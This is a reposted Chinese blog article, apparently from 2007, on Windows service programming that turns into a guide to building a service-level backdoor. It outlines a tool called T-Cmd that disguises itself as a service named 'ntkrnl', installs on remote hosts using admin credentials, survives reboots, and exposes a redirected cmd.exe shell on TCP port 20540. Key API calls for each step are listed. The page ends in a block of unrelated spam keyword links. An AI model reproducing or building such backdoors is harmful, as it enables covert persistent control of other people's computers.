• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            旅途

            如果想飛得高,就該把地平線忘掉

            淺析Win2K/XP服務(wù)與后門技術(shù)-2 [轉(zhuǎn)]

            三、Windows服務(wù)與編程 

              Windows服務(wù)編程包括幾方面的內(nèi)容,下面我們將從服務(wù)控制程序,服務(wù)程序和服務(wù)配置程序的角度介紹服務(wù)編程相關(guān)的內(nèi)容。 

              1.服務(wù)控制程序 

              執(zhí)行服務(wù)控制程序的相關(guān)函數(shù)前,我們需要獲得一個服務(wù)對象的句柄,方式有兩種:由OpenSCManager來獲得一臺特定主機(jī)的服務(wù)控制管理器數(shù)據(jù)庫的句柄;使用OpenService或CreateService函數(shù)來獲得某個服務(wù)對象的句柄。 

            啟動服務(wù):要啟動一個服務(wù),服務(wù)控制程序可以使用StartService來實現(xiàn)。如果服務(wù)控制管理器數(shù)據(jù)庫被鎖定,那需要等待一定的時間然后再次測試 StartService函數(shù)。當(dāng)然也可以使用QueryServiceLockStatus函數(shù)來確認(rèn)數(shù)據(jù)庫的當(dāng)前狀態(tài)。在啟動成功完成時,那么 dwCurrentState參數(shù)將會返回SERVICE_RUNNING值。 

              服務(wù)控制請求:服務(wù)控制程序使用 ControlService函數(shù)來發(fā)送控制請求到正在運(yùn)行的服務(wù)程序。它會向控制句柄函數(shù)發(fā)送一個特定的控制命令,可以是系統(tǒng)默認(rèn)的,也可以是用戶自定 義的。而且每個服務(wù)都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數(shù)時,在返回的 dwControlsAccepted參數(shù)中表明服務(wù)程序?qū)邮盏目刂泼睢K械姆?wù)都會接受 SERVICE_CONTROL_INTERROGATE命令。 

              2.服務(wù)程序 

              一個服務(wù)程序內(nèi)可以包含一個服務(wù)或多個服務(wù)的執(zhí)行代碼,但是它們都擁有固定的三個部分:服務(wù)main函數(shù),服務(wù)ServiceMain函數(shù)和服務(wù)Control Handler函數(shù)。 

            服務(wù)main函數(shù):服務(wù)程序通常是以控制臺的方式存在的,所以它們的入口點都是main函數(shù)。在服務(wù)控制管理器開始一個服務(wù)程序時,會等待 StartServiceCtrlDispatcher函數(shù)的執(zhí)行。如果服務(wù)類型是SERVICE_WIN32_OWN_PROCESS就會立即調(diào)用 StartServiceCtrlDispatcher函數(shù)的執(zhí)行;如果服務(wù)類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始 化所有服務(wù)之后再調(diào)用它。StartServiceCtrlDispatcher函數(shù)的參數(shù)就是一個SERVICE_TABLE_ENTRY結(jié)構(gòu),它包含 了進(jìn)程內(nèi)所有服務(wù)的名稱和服務(wù)入口點。 

              服務(wù)ServiceMain函數(shù):函數(shù)ServiceMain是服務(wù)的入口點。在服務(wù)控制程 序請求一個新的服務(wù)啟動時,服務(wù)控制管理器啟動一個服務(wù),并發(fā)送一個開始請求到控制調(diào)度程序,而后控制調(diào)度程序創(chuàng)建一個新線程來執(zhí)行 ServiceMain函數(shù)。ServiceMain須執(zhí)行以下的任務(wù):調(diào)用RegisterServiceCtrlHandler函數(shù)注冊一個 HandlerEx函數(shù)來向服務(wù)發(fā)送控制請求信息,返回值是服務(wù)狀態(tài)句柄用來向服務(wù)控制管理器傳送服務(wù)狀態(tài)。初始化后調(diào)用 SetServiceStatus函數(shù)設(shè)置服務(wù)狀態(tài)為SERVICE_RUNNING。最后,就是執(zhí)行服務(wù)所要完成的任務(wù)。 

              服務(wù) Control Handler函數(shù):每個服務(wù)都有一個控制句柄HandlerEx函數(shù)。它會在服務(wù)進(jìn)程從服務(wù)控制程序接收到一個控制請求時被控制調(diào)度程 序所調(diào)用。無論何時在HandlerEx函數(shù)被調(diào)用時,都要調(diào)用SetServiceStatus函數(shù)向服務(wù)控制管理器報告它當(dāng)前的狀態(tài)。在用戶關(guān)閉系統(tǒng) 時,所有的控制句柄都會調(diào)用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數(shù)來接收 NSERVICE_CONTROL_SHUTDOWN控制代碼。 

              3.服務(wù)配置程序 

              服務(wù)配置程序可以更改或查詢服務(wù)的當(dāng)前配置信息。在調(diào)用服務(wù)配置函數(shù)之前,必須獲得一個服務(wù)對象的句柄,當(dāng)然我們可以通過調(diào)用OpenSCManager,OpenService或CreateService函數(shù)來獲得。 

              創(chuàng)建,刪除服務(wù):服務(wù)配置程序使用CreateService函數(shù)在服務(wù)控制管理器的數(shù)據(jù)庫中安裝一個新服務(wù),它會提供服務(wù)的名稱和相關(guān)的配置信息并存儲在數(shù)據(jù)庫中。服務(wù)配置程序則使用DeleteService函數(shù)從數(shù)據(jù)庫中刪除一個已經(jīng)安裝的服務(wù)。 

              四、服務(wù)級后門技術(shù) 

            在你進(jìn)入某個系統(tǒng)后,往往會為自己留下一個或多個后門,以便今后的訪問。在上傳一個后門程序到遠(yuǎn)程系統(tǒng)上后系統(tǒng)重啟之時,總是希望后門仍然存在。那么, 將后門程序創(chuàng)建成服務(wù)程序應(yīng)該是個不錯的想法,這就是利用了服務(wù)程序自動運(yùn)行的機(jī)制,當(dāng)然在Windows2000的任務(wù)管理器里也很難結(jié)束一個服務(wù)程序 的進(jìn)程。 

              創(chuàng)建一個后門,它常常會在一個端口監(jiān)聽,以方便我們使用TCP/UDP協(xié)議與遠(yuǎn)程主機(jī)建立連接,所以我們首先需要在后門程序里創(chuàng)建一個監(jiān)聽的端口,為了數(shù)據(jù)傳輸?shù)姆€(wěn)定與安全,我們可以使用TCP協(xié)議。 

            那么,我們?nèi)绾尾拍苣M一個Telnet服務(wù)似的后門呢?我想大家都清楚,如果在遠(yuǎn)程主機(jī)上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd 里執(zhí)行命令,那么就可以實現(xiàn)對遠(yuǎn)程主機(jī)的控制了,至少可以執(zhí)行各種常規(guī)的系統(tǒng)命令。啟動一個Cmd程序的方法很多,有WinExec, ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實 在太簡單了。在使用CreateProcess時,要用到它的重定向標(biāo)準(zhǔn)輸入/輸出的選項功能,把在本地主機(jī)的輸入重定向輸入到遠(yuǎn)程主機(jī)的Cmd進(jìn)程,并 且把遠(yuǎn)程主機(jī)Cmd進(jìn)程的標(biāo)準(zhǔn)輸出重定向到本地主機(jī)的標(biāo)準(zhǔn)輸出。這就需要在后門程序里使用CreatePipe創(chuàng)建兩個管道來實現(xiàn)進(jìn)程間的數(shù)據(jù)通信 (Inter-Process Communication,IPC)。當(dāng)然,還必須將遠(yuǎn)程主機(jī)上Cmd的標(biāo)準(zhǔn)輸入和輸出在本地主機(jī)之間進(jìn)行傳送,我們選 擇TCP協(xié)議的send和recv函數(shù)。在客戶結(jié)束訪問后,還要調(diào)用TerminateProcess來結(jié)束創(chuàng)建的Cmd進(jìn)程。 

              五、關(guān)鍵函數(shù)分析 

              本文相關(guān)程序T-Cmd v1.0是一個服務(wù)級的后門程序,適用平臺為Windows2000/XP。它可自動為遠(yuǎn)程/本地主機(jī)創(chuàng)建服務(wù)級后門,無須使用任何額外的命令,支持本地/遠(yuǎn)程模式。重啟后,程序仍然自動運(yùn)行,監(jiān)聽端口20540/tcp。 

              1.自定義數(shù)據(jù)結(jié)構(gòu)與函數(shù) 

            typedef struct 

            HANDLE hPipe; 
            //為實現(xiàn)進(jìn)程間通信而使用的管道; 
            SOCKET sClient; 
            //與客戶端進(jìn)行通信時的客戶端套接字; 
            }SESSIONDATA,*PSESSIONDATA; 
            //重定向Cmd標(biāo)準(zhǔn)輸入/輸出時使用的數(shù)據(jù)結(jié)構(gòu); 

            typedef struct PROCESSDATA 

            HANDLE hProcess; 
            //創(chuàng)建Cmd進(jìn)程時獲得的進(jìn)程句柄; 
            DWORD dwProcessId; 
            //創(chuàng)建Cmd進(jìn)程時獲得的進(jìn)程標(biāo)識符; 
            struct PROCESSDATA *next; 
            //指向下一個數(shù)據(jù)結(jié)構(gòu)的指針; 
            }PROCESSDATA,*PPROCESSDATA; 
            //在客戶結(jié)束訪問或刪除服務(wù)時為關(guān)閉所以的Cmd進(jìn)程而創(chuàng)建的數(shù)據(jù)結(jié)構(gòu); 

            void WINAPI CmdStart(DWORD,LPTSTR *); 
            //服務(wù)程序中的“ServiceMain”:注冊服務(wù)控制句柄,創(chuàng)建服務(wù)主線程; 
            void WINAPI CmdControl(DWORD); 
            //服務(wù)程序中的“HandlerEx”:處理接收到的控制命令,刪除已創(chuàng)建的Cmd進(jìn)程; 
            DWORD WINAPI CmdService(LPVOID); 
            //服務(wù)主線程,創(chuàng)建服務(wù)監(jiān)聽端口,在接受客戶連接時,創(chuàng)建重定向Cmd標(biāo)準(zhǔn)輸入/輸出線程; 
            DWORD WINAPI CmdShell(LPVOID); 
            //創(chuàng)建管道與Cmd進(jìn)程,及Cmd的輸入/輸出線程; 
            DWORD WINAPI ReadShell(LPVOID); 
            //重定向Cmd的輸出,讀取信息后發(fā)送到客戶端; 
            DWORD WINAPI WriteShell(LPVOID); 
            //重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進(jìn)程; 
            BOOL ConnectRemote(BOOL,char *,char *,char *); 
            //如果選擇遠(yuǎn)程模式,則須與遠(yuǎn)程主機(jī)建立連接,注須提供管理員權(quán)限的用戶名與密碼,密碼為空時用"NULL"代替; 
            void InstallCmdService(char *); 
            //復(fù)制傳送文件,打開服務(wù)控制管理器,創(chuàng)建或打開服務(wù)程序; 
            void RemoveCmdService(char *); 
            //刪除文件,停止服務(wù)后,卸載服務(wù)程序;  


              2.服務(wù)程序相關(guān)函數(shù) 

            SERVICE_TABLE_ENTRY DispatchTable[] = 

            {"ntkrnl",CmdStart}, 
            //服務(wù)程序的名稱和入口點; 
            {NULL ,NULL } 
            //SERVICE_TABLE_ENTRY結(jié)構(gòu)必須以“NULL”結(jié)束; 
            }; 
            StartServiceCtrlDispatcher(DispatchTable); 
            //連接服務(wù)控制管理器,開始控制調(diào)度程序線程; 
            ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); 
            //注冊CmdControl函數(shù)為“HandlerEx”函數(shù),并初始化; 
            ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
            SetServiceStatus(ServiceStatusHandle,&ServiceStatus); 
            //設(shè)置服務(wù)的當(dāng)前狀態(tài)為SERVICE_RUNNING; 
            hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); 
            //創(chuàng)建服務(wù)主線程,實現(xiàn)后門功能; 
            WaitForSingleObject(hMutex,INFINITE); 
            //等待互斥量,控制全局變量的同步使用; 
            TerminateProcess(lpProcessDataHead->hProcess,1); 
            //終止創(chuàng)建的Cmd進(jìn)程; 
            hSearch=FindFirstFile(lpImagePath,&FileData); 
            //查找系統(tǒng)目錄下服務(wù)程序的文件是否已經(jīng)存在; 
            GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); 
            //獲得當(dāng)前進(jìn)程的程序文件名; 
            CopyFile(lpCurrentPath,lpImagePath,FALSE); 
            //復(fù)制文件到系統(tǒng)目錄下; 
            schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); 
            //打開服務(wù)控制管理器數(shù)據(jù)庫; 
            CreateService(schSCManager,"ntkrnl","ntkrnl",
             SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
             "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
            //創(chuàng)建服務(wù),參數(shù)包括名稱,服務(wù)類型,開始類型,錯誤類型及文件路徑等; 
            schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); 
            //如果服務(wù)已經(jīng)創(chuàng)建,則打開服務(wù); 
            StartService(schService,0,NULL); 
            //啟動服務(wù)進(jìn)程; 
            ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus); 
            //控制服務(wù)狀態(tài); 
            DeleteService(schService); 
            //卸載服務(wù)程序; 
            DeleteFile(lpImagePath); 
            //刪除文件;  


              3.后門程序相關(guān)函數(shù) 

            hMutex=CreateMutex(NULL,FALSE,NULL); 
            //創(chuàng)建互斥量; 
            hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); 
            //創(chuàng)建處理客戶端訪問的重定向輸入輸出線程; 
            CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); 
            CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); 
            //創(chuàng)建用于進(jìn)程間通信的輸入/輸出管道; 
            CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo); 
            //創(chuàng)建經(jīng)重定向輸入輸出的Cmd進(jìn)程; 
            hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); 
            hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); 
            //創(chuàng)建處理Cmd輸入輸出的線程; 
            dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); 
            //等待線程或進(jìn)程的結(jié)束; 
            ReleaseMutex(hMutex); 
            //釋放互斥量; 
            PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL); 
            //從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中,但不從管道中移出; 
            ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); 
            //從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中; 
            WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL); 
            //向管道中寫入從客戶端接收到的數(shù)據(jù); 
            dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); 
            //與遠(yuǎn)程主機(jī)建立連接; 
            WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); 
            //與遠(yuǎn)程主機(jī)結(jié)束連接;  


            posted on 2007-07-21 17:06 旅途 閱讀(300) 評論(0)  編輯 收藏 引用 所屬分類: 深入windows

            亚洲婷婷国产精品电影人久久| 91久久精品91久久性色| 久久精品国产亚洲Aⅴ蜜臀色欲| 国产精品美女久久久免费| 久久久久无码中| 色88久久久久高潮综合影院| 一级做a爰片久久毛片16| 天天综合久久一二三区| 久久精品无码午夜福利理论片| 久久青草国产精品一区| 亚洲第一极品精品无码久久| 国产成人久久精品麻豆一区| 亚洲AV无码久久寂寞少妇| 国产综合成人久久大片91| 国内精品久久久久久久97牛牛 | 香蕉久久夜色精品国产2020| 欧美喷潮久久久XXXXx| 婷婷久久综合九色综合九七| 久久九九精品99国产精品| 欧美亚洲国产精品久久久久| 国产成人香蕉久久久久| 国产精品久久久久无码av| 亚洲精品无码久久久久sm| 久久中文字幕视频、最近更新| 久久国产精品99国产精| 色婷婷久久综合中文久久蜜桃av| 亚洲国产成人乱码精品女人久久久不卡| 精品久久久久久无码中文字幕一区| 久久精品视频一| 无夜精品久久久久久| 亚洲精品无码久久毛片| 久久婷婷五月综合成人D啪| 久久精品无码一区二区三区日韩| 国产精品视频久久| 久久国产精品99久久久久久老狼 | 精品久久综合1区2区3区激情| 久久久噜噜噜www成人网| 亚洲综合熟女久久久30p| 国内精品九九久久精品 | 国产精品久久久香蕉| 久久只有这里有精品4|